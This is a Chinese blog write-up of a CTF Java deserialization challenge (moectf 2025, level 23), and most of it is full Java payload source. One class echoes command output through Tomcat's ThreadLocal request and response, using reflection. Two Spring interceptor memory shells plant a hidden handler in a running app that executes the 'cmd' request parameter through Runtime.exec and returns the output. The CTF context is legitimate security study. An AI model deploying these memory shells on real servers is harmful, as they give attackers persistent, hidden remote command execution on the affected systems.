moectf2025_第23关
moectf 2025 第23关
常规做法
直接给出exp吧,挺有意思的,感觉写的没问题(但是没反弹成功),本地的calc,也正常执行了(虽然反序列化前会执行一次)
1 | import com.example.demo.Dog.Dog; |
使用类加载
接着看了一下wp,这题也可以进行类加载,其实在cc链中,我们使用的类加载一般都是TemplatesImpl,需要调用newTransformer方法,然后一路触发调用到definclass。但是我们一般会卡到对TemplatesImpl的调用,在cc链中可以使用以下方法调用。
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
这个题目中就可以使用dog的wagTail进行调用newTransformer方法
1 | package com.example.demo; |

先试了反弹shell,成功了。
在试一下官方wp里给的回显方法
- ThreadLocal回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82//Inject_ThreadLocal.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class Inject_ThreadLocal extends AbstractTranslet {
static {
try {
//反射获取所需属性
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}
if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}
ServletRequest servletRequest=null;
if(lastServicedRequestField.get(null)!=null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
servletRequest = (ServletRequest) threadLocal.get();
}
//获取response变量
if (lastServicedResponseField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
ServletResponse servletResponse = (ServletResponse) threadLocal.get();
PrintWriter writer = servletResponse.getWriter();
Scanner scanner = new Scanner(Runtime.getRuntime().exec(servletRequest.getParameter("cmd")).getInputStream()).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
使用方法就是先发送一次请求,在带上cmd进行命令执行 - Interceptor内存马这个我在使用过程中爆400的错误,应该是体积太大的缘故,就让ai精简了一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186//Inject_ThreadLocal.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.tools.*;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.*;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
public class Inject_ThreadLocal extends AbstractTranslet {
public static Class<?> createShellInterceptor() throws Exception {
String className = "DynamicShellInterceptor";
String packageName = "com.dynamic.generated";
String fullClassName = packageName + "." + className;
String sourceCode = buildShellSourceCode(packageName, className);
// 创建临时目录
Path tempDir = Files.createTempDirectory("dynamic_classes");
Path sourceDir = tempDir.resolve("src");
Path classDir = tempDir.resolve("classes");
Files.createDirectories(sourceDir);
Files.createDirectories(classDir);
// 写入源码文件
Path sourceFile = sourceDir.resolve(className + ".java");
Files.write(sourceFile, sourceCode.getBytes());
// 编译
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<>();
try (StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnostics, null, null)) {
Iterable<? extends JavaFileObject> compilationUnits =
fileManager.getJavaFileObjects(sourceFile.toFile());
File tempLibDir = Files.createTempDirectory("boot-libs").toFile();
String bootInfClasspath = extractBootInfLibs(new File("/app/demo.jar"), tempLibDir);
List<String> options = Arrays.asList(
"-d", classDir.toString(),
"-classpath", bootInfClasspath
);
JavaCompiler.CompilationTask task = compiler.getTask(
null, fileManager, diagnostics, options, null, compilationUnits);
if (!task.call()) {
throw new RuntimeException("编译失败: " + diagnostics.getDiagnostics());
}
// 加载类
URLClassLoader classLoader = new URLClassLoader(
new URL[]{classDir.toUri().toURL()},
Inject_ThreadLocal.class.getClassLoader()
);
return classLoader.loadClass(fullClassName);
} finally {
// 清理临时文件
}
}
public static String extractBootInfLibs(File bootJar, File extractToDir) throws IOException {
List<String> jarPaths = new ArrayList<>();
try (JarFile jarFile = new JarFile(bootJar)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
if (entry.getName().startsWith("BOOT-INF/lib/") && entry.getName().endsWith(".jar")) {
// 提取JAR文件
String jarName = entry.getName().substring("BOOT-INF/lib/".length());
File outputJar = new File(extractToDir, jarName);
// 确保父目录存在
outputJar.getParentFile().mkdirs();
try (InputStream is = jarFile.getInputStream(entry);
OutputStream os = new FileOutputStream(outputJar)) {
// 使用传统的流复制方法
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
os.write(buffer, 0, bytesRead);
}
}
jarPaths.add(outputJar.getAbsolutePath());
}
}
}
return String.join(File.pathSeparator, jarPaths);
}
private static String buildShellSourceCode(String packageName, String className) {
return "package " + packageName + ";\n\n" +
"import javax.servlet.http.HttpServletRequest;\n" +
"import javax.servlet.http.HttpServletResponse;\n" +
"import org.springframework.web.servlet.HandlerInterceptor;\n" +
"import org.springframework.web.servlet.ModelAndView;\n" +
"import java.io.PrintWriter;\n" +
"import java.util.Scanner;\n\n" +
"public class " + className + " implements HandlerInterceptor {\n\n" +
" @Override\n" +
" public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null && !cmd.trim().isEmpty()) {\n" +
" try {\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" PrintWriter writer = response.getWriter();\n" +
" Scanner scanner = new Scanner(process.getInputStream()).useDelimiter(\"\\\\A\");\n" +
" String result = scanner.hasNext() ? scanner.next() : \"\";\n" +
" scanner.close();\n" +
" writer.write(result);\n" +
" writer.flush();\n" +
" writer.close();\n" +
" return false; // 不再继续执行后续拦截器\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
" }\n" +
" return true; // 继续执行后续拦截器\n" +
" }\n\n" +
" @Override\n" +
" public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {\n" +
" // 可选的后处理逻辑\n" +
" }\n\n" +
" @Override\n" +
" public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {\n" +
" // 清理资源\n" +
" }\n" +
"}";
}
static {
try {
//获取当前上下文环境
// WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 通过 context 获取 RequestMappingHandlerMapping 对象
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
Class<?> shellClass = createShellInterceptor();
adaptedInterceptors.add(shellClass.newInstance());
}catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.ArrayList;
public class MiniEcho extends AbstractTranslet implements HandlerInterceptor {
static {
try {
// 1. 从当前请求上下文获取 Spring 容器
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 获取 RequestMappingHandlerMapping (Spring MVC 处理路由的核心组件)
AbstractHandlerMapping mapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
// 3. 反射获取拦截器列表 adaptedInterceptors
java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> list = (ArrayList<Object>) field.get(mapping);
// 4. 将当前类的一个实例添加到拦截器链的末尾
list.add(new MiniEcho());
} catch (Exception ignored) {
// 忽略异常以防报错中断
}
}
// 拦截器的核心逻辑:如果请求带了 cmd 参数,则执行并拦截请求
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
// 执行命令
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 直接写入 Response 并结束请求
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
return false; // 返回 false 停止后续处理(实现回显)
} catch (Exception ignored) {}
}
return true;
}
// TemplatesImpl 必须实现的抽象方法
public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
}

参考:MoeCTF_2025/official_writeups/Web/Writeup.md at main · XDSEC/MoeCTF_2025 · GitHub
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 红烧花园宝宝!
评论
